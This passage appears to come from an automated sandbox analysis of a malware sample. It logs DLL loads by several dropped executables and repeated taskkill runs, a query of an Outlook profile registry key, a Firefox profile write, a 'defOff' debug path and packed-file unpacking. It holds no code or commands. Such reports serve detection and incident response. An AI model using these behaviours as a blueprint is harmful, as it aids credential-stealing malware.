Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 1985024 > 1048576

Source: file.exe

Static PE information: Raw size of aokahsxj is bigger than: 0x100000 < 0x1b2e00

Source:	Binary string: mscorlib.pdb! source: 5468191780.exe, 00000007.00000002.2670303679.00000000014B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: 5468191780.exe, 00000007.00000002.2670064016.0000000000FF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000033.00000003.2924594441.000001FD028C7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.0000000001483000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000149D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbbJl source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f5d46eacf9.exe, 0000000E.00000002.3051076337.00000000063C2000.00000040.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2939299533.00000000084A0000.00000004.00001000.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3117984954.0000000008190000.00000004.00001000.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000003.2814428123.0000000005290000.00000004.00001000.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000002.2949855151.0000000000D82000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.PDB source: 5468191780.exe, 00000007.00000002.2670064016.0000000000FF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1008450001\5468191780.PDB source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbn source: 5468191780.exe, 00000007.00000002.2670303679.0000000001412000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW;
